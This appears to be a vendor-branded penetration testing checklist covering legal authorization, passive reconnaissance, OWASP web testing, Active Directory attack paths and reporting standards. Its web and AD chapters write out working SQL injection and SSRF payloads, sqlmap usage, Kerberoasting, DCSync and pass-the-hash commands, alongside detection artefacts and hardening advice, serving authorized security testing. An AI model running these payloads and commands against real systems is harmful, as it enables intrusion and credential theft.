HS

HORIZONSHIELD

Securing Your Digital Future, Today.

RED TEAM SERIES · BOOK 02 OF 16

Penetration Testing Checklist

Enterprise Methodology — Scoping to Reporting

A phase-by-phase penetration testing methodology covering reconnaissance through reporting, based on PTES, OWASP, and 500+ real engagements. Every checklist item is actionable, every command is tested, every recommendation reflects current attacker tradecraft.

PHASES	TEST TYPES	TOOLS	STANDARD
7	12	80+	PTES/OWASP

Contents

PENETRATION TESTING CHECKLIST 2026

CHAPTER 01

Legal Authorization — Non-Negotiable

No testing begins without explicit written authorization. Testing without it is a criminal offense in every jurisdiction.

LEGAL | SCOPE | ROE | DOCUMENTATION

Pre-Engagement Mandatory Checklist

LEGAL WARNING

Unauthorized security testing is criminal under: Computer Fraud and Abuse Act (18 U.S.C. § 1030, US), Computer Misuse Act 1990 (UK), EU Directive 2013/40/EU. Professionals have been prosecuted for testing systems they believed they were authorized to test. EVERY IP address, EVERY domain, EVERY application must be explicitly authorized in writing.

☐	Requirement	Documentation Required	Consequence if Missing
☐	Written SoW signed by both parties	Countersigned PDF with scope, timeline, deliverables	No legal engagement
☐	Authorization from C-level legal owner	Letter on company letterhead signed by authorized executive	Criminal liability
☐	Rules of Engagement (RoE) signed	Testing parameters, emergency stops, escalation path	Scope disputes, liability
☐	Complete scope list — ALL in-scope IPs/domains/apps	Technical annex — every target explicitly listed	Out-of-scope violations
☐	Out-of-scope explicitly documented	Exclusion list — specific systems never to touch	Third-party liability
☐	Emergency stop procedure agreed	Named contacts, escalation steps, conditions for stopping	No way to halt critical incident

☐	Requirement	Documentation Required	Consequence if Missing
☐	Emergency contacts exchanged both directions	Client POC + backup mobile. Tester mobile.	Communication failure during critical event
☐	Test window: dates, hours, timezone	Calendar confirmations from both parties	Legal exposure if testing outside window
☐	NDA executed by all testers individually	Signed NDA per person, not just company	Confidentiality breach exposure
☐	Client SOC/WAF whitelist of tester IPs	Email confirmation to all security teams	Test traffic blocked — missed vulnerabilities
☐	Safe harbour clause in SoW	Explicit indemnification for authorized activities	Personal civil liability if authorized test causes damage

Scope Categories

Test Type	Typical Scope	Duration	Primary Deliverable
External Network PT	Internet-facing IPs, domains	1-2 weeks	Technical report + executive summary
Internal Network PT	Internal subnets, AD environment	2-3 weeks	Full report + remediation roadmap
Web Application PT	Target URLs, API endpoints	1 week/app	OWASP-mapped finding report
Red Team Exercise	Full kill chain, no advance notice	4-6 weeks	Attack narrative + detection gaps
Social Engineering	Phishing, vishing, physical	1-2 weeks	Click rates, captured data, awareness gaps
Purple Team	Collaborative detection validation	2-4 weeks	ATT&CK coverage heat map

CHAPTER 02

Passive Reconnaissance & OSINT

Intelligence gathered before touching the target determines the quality of every phase that follows.

OSINT | DNS | CERTIFICATES | SOCIAL MEDIA

Passive OSINT Collection Checklist

Category	Tool	Risk to Target	Key Intelligence
Subdomain enumeration	subfinder, amass, dnsx	NONE — passive DNS queries	All subdomains, hosting providers, CDN usage
Certificate transparency	crt.sh, Censys	NONE — public CT logs	Subdomains, internal hostnames, cert history
WHOIS & DNS history	SecurityTrails, DomainTools	NONE — public records	Registrant details, DNS changes, IP history
Email & personnel	Hunter.io, theHarvester, LinkedIn	NONE — public sources	Email format, employee names, roles, org chart
Code repositories	truffleHog, GitDorks, GitHub search	NONE — reading public repos	API keys, credentials, internal hostnames in code
Internet exposure	Shodan, Censys, BinaryEdge	NONE — query public indices	Open ports, service banners, SSL certs, CVEs
Google Dorking	site:, filetype:, inurl: operators	NONE — search engine queries	Exposed files, login pages, directory listings
Wayback Machine	web.archive.org	NONE — historical cache	Old admin panels, previous tech stack, removed pages
Job postings	LinkedIn Jobs, Indeed	NONE — public listings	Full tech stack from requirements, security tools in use

```
# Subdomain enumeration (passive)
subfinder -d target.com -silent -o subs_passive.txt
amass enum -passive -d target.com -o subs_amass.txt

# Certificate transparency
curl -s 'https://crt.sh/?q=%.target.com&output=json' | \
  jq -r '.[].name_value' | sort -u > subs_crt.txt

cat subs_*.txt | sort -u > all_subdomains.txt

# Find credentials leaked in GitHub (reading public repos only)
trufflehog github --org=targetorg --only-verified

# Google Dork patterns
# site:target.com filetype:pdf OR filetype:xlsx (sensitive docs)
# site:target.com inurl:login OR inurl:admin (login pages)
# site:target.com filetype:conf OR filetype:env (config files)
# org:targetorg password OR secret OR api_key language:yaml
```

OSINT Target Profile Template

Intelligence Category	Findings	Source	Attack Relevance
Corporate IP ranges	Document all ASN/IP ranges	BGP.he.net, RIPE, ARIN	Attack surface scope
Technology stack	Web server, framework, database, CDN	Wappalyzer, HTTP headers, job posts	CVE targeting
Email format	firstname.lastname@domain.com	Hunter.io, collected samples	Phishing template creation
Key personnel	CEO, CFO, IT Manager, HR Director	LinkedIn, company website	BEC targeting, spear phishing
Breached credentials	Emails found in breach databases	HaveIBeenPwned, LeakCheck	Credential stuffing attempts
Exposed services	Internet-facing ports and services	Shodan, Censys	Direct exploitation candidates

CHAPTER 04

Web Application Testing

OWASP Top 10 (2021) — the industry standard testing framework for web application security.

OWASP TOP 10 | INJECTION | AUTH | ACCESS CONTROL

OWASP Top 10 — 2021 Test Matrix

Rank	Category	Primary Test	Tool	Common Payload/Technique
A01	Broken Access Control	IDOR testing (change IDs), forced browsing, privilege escalation via param manipulation	Burp Suite, Manual	Change ?user_id=123 → ?user_id=124; access /admin without auth
A02	Cryptographic Failures	HTTPS enforcement, TLS version, cleartext passwords, weak algorithms (MD5/SHA1)	testssl.sh, SSLScan, Burp	testssl.sh target.com — look for TLS 1.0/1.1, export ciphers
A03	Injection (SQLi/XSS/CMD)	SQLi (error/blind/time/union), XSS (stored/reflected/DOM), command injection	SQLMap, Burp, XSSer	Single quote test: ' (error = potential SQLi);
A04	Insecure Design	Business logic bypass, rate limit bypass, workflow manipulation (skip payment)	Burp Repeater, Manual	Test: submit negative quantities; skip checkout step; reuse discount codes
A05	Security Misconfiguration	Default credentials, debug mode, verbose errors, unnecessary HTTP methods	Nikto, Nuclei, Manual	curl -X TRACE target.com; check /.git /.env /phpinfo.php /actuator

Rank	Category	Primary Test	Tool	Common Payload/Technique
A06	Vulnerable Components	JS library versions vs CVE DB, outdated server software, CMS plugins	Retire.js, Snyk, WPScan	F12 → Sources → jQuery version → check CVE DB
A07	Auth & Session Failures	Password policy, MFA bypass, session fixation, JWT attacks (alg:none)	Burp, jwt.io, Hydra	Decode JWT at jwt.io — try changing RS256 to HS256 with public key as HMAC secret
A08	Software Integrity	Insecure deserialization (Java/PHP/Python), unsigned updates, malicious CDN	ysoserial, Burp	Look for rO0AB (Java base64 serialized), O:8: (PHP serialize)
A09	Logging Failures	Verify security events logged, log injection, sensitive data in logs	Manual, OWASP Testing Guide	Submit 10+ failed logins — locked? Alerted? Username in error message?
A10	SSRF	Test URL params for SSRF, access cloud metadata (169.254.169.254)	Burp Collaborator, SSRFmap	url=http://169.254.169.254/latest/meta-data/ (AWS); url=http://localhost:6379 (Redis)

```
# SQL Injection detection and exploitation
# STEP 1: Detect injection points
' -- Single quote (most common)
' OR '1'='1  -- Boolean-based
' AND SLEEP(5)-- -- Time-based blind (5 second delay = vulnerable)
' UNION SELECT NULL--  -- Union-based start

# STEP 2: Determine column count (union-based)
' ORDER BY 1--  # no error
' ORDER BY 2--  # no error
' ORDER BY N--  # ERROR = N-1 columns

# STEP 3: Extract data (union-based)
' UNION SELECT 1,database(),user()--
' UNION SELECT 1,table_name,3 FROM information_schema.tables
  WHERE table_schema=database()--

# STEP 4: Automated (with written authorization only)
sqlmap -u 'https://target.com/page?id=1' \
  --dbs --batch --level=3 --risk=2 \
  --random-agent --delay=1 \
  --technique=BEUSTQ
```

CHAPTER 06

Active Directory Attack Paths

Active Directory is the central target in 90%+ of enterprise network compromises. Understanding common attack paths is essential.

KERBEROASTING | PASS-THE-HASH | DCSync | AD CS

Active Directory Attack Path Reference

Attack Technique	Description	Tool	Detection Artefact
Kerberoasting	Request Kerberos TGS tickets for service accounts, crack offline	Impacket GetUserSPNs.py, Rubeus	Event 4769 — Kerberos Service Ticket Request with RC4 encryption
AS-REP Roasting	Exploit accounts with "no Kerberos pre-auth" — request hash without credentials	Impacket GetNPUsers.py	Event 4768 — AS-REQ without pre-authentication
Pass-the-Hash (PtH)	Use NTLM hash directly without cracking — authenticate as user	Impacket psexec.py, Mimikatz	Event 4624 LogonType=3 with NTLM auth from unusual source
Pass-the-Ticket (PtT)	Steal and reuse Kerberos TGT/TGS tickets for authentication	Mimikatz, Rubeus	Ticket used from different IP than originally issued
DCSync	Replicate AD credentials from DC without admin access (DS-Replication rights)	Mimikatz lsadump::dcsync	Event 4662 — Directory Service Access on DC with replication GUID
AD CS ESC1	Enroll certificate as any user (including DA) using misconfigured certificate template	Certipy, ADCS.ps1	Certificate enrollment from non-standard account

Attack Technique	Description	Tool	Detection Artefact
BloodHound/SharpHound	Graph attack paths from current user to Domain Admin	BloodHound CE, SharpHound	Large LDAP query bursts — network anomaly detection

```
# Kerberoasting — extract service account hashes
GetUserSPNs.py domain.local/user:password -outputfile hashes.txt
hashcat -a 0 -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

# Check for accounts with Kerberos pre-auth disabled (AS-REP Roastable)
GetNPUsers.py domain.local/ -usersfile users.txt -no-pass -format hashcat

# BloodHound data collection
SharpHound.exe -c All --outputdirectory C:\Users\Public\
# Import to BloodHound → find shortest path to Domain Admin
# Run query: 'Shortest Paths to Domain Admins'

# DCSync (requires Domain Admin or equivalent)
secretsdump.py domain.local/user:password@dc_ip
# Extract: Administrator:500:NTLM_HASH — use for pass-the-hash

# Pass-the-Hash with extracted NTLM hash
psexec.py -hashes :NTLM_HASH_HERE administrator@target_ip cmd
```

ACTIVE DIRECTORY HARDENING PRIORITY

(1) Enable Protected Users security group for all privileged accounts, (2) Disable NTLM v1 entirely, restrict NTLMv2, (3) Audit certificate templates for ESC1-8 misconfigurations using Certipy, (4) Enable credential guard on all workstations, (5) Tier administrative model — Tier 0 (DC/PKI), Tier 1 (servers), Tier 2 (workstations).

CHAPTER 08

Reporting Standards

A penetration test is only as valuable as its report. Clear, accurate, actionable findings drive real remediation.

CVSS | EXECUTIVE SUMMARY | FINDINGS | REMEDIATION

Report Quality Standards

Section	Audience	Quality Standard	Common Failures
Executive Summary (2 pages max)	CEO, CFO, Board	A CFO with no technical background must fully understand every word. Business risk, financial impact, overall rating, top 3 actions. No acronyms without definition.	Too technical, too long. Board cannot act on it.
Scope & Methodology	Audit, Compliance	Reproducible — another skilled tester should reach similar results. All tools named, dates confirmed, limitations stated.	Vague "standard methodology" — not defensible in audit.
Technical Findings (per finding)	Security Team, Developers	Step-by-step exploitation from zero. Every command. Every parameter. Screenshots at each step. Working PoC for all Critical/High findings.	Steps ambiguous. Cannot be reproduced by remediation team.
Remediation Plan	Dev Team, IT	Specific fix — not generic advice. Exact configuration change or code fix. Estimated effort. Verification steps.	Generic "implement input validation" — not actionable.
Appendices	Auditors, Compliance	Complete raw tool output. Full screenshot evidence. Methodology. Complete audit trail for legal/regulatory proceedings.	Missing evidence — no screenshots, truncated output.

Severity	CVSS	Client SLA	Re-test	Example
CRITICAL	9.0–10.0	24 hours — emergency change	Required within 48hrs	RCE, unauthenticated domain compromise, ransomware path
HIGH	7.0–8.9	72 hours — accelerated sprint	Required within 1 week	SQLi, privilege escalation, MFA bypass, auth failure
MEDIUM	4.0–6.9	30 days — planned sprint	Recommended	Stored XSS, weak creds, misconfiguration, SSRF internal
LOW	0.1–3.9	90 days — backlog item	Optional	Information disclosure, clickjacking, verbose errors
Informational	N/A	Best effort	No	Missing headers, best practice deviation

HORIZONSHIELD REPORT STANDARDS

All reports include: (1) Executive summary readable by non-technical C-suite ≤2 pages, (2) CVSS v3.1 scores for all findings, (3) Working PoC for all Critical/High — we demonstrate impact, (4) Specific remediation code or configuration — not generic advice, (5) Free retest within 30 days to verify all Critical/High remediations.

H O R I Z O N S H I E L D

Securing Your Digital Future, Today.

The Penetration Testing Checklist 2026

Part of the HorizonShield Security Series — 16 comprehensive professional cybersecurity manuals covering every domain of modern enterprise security.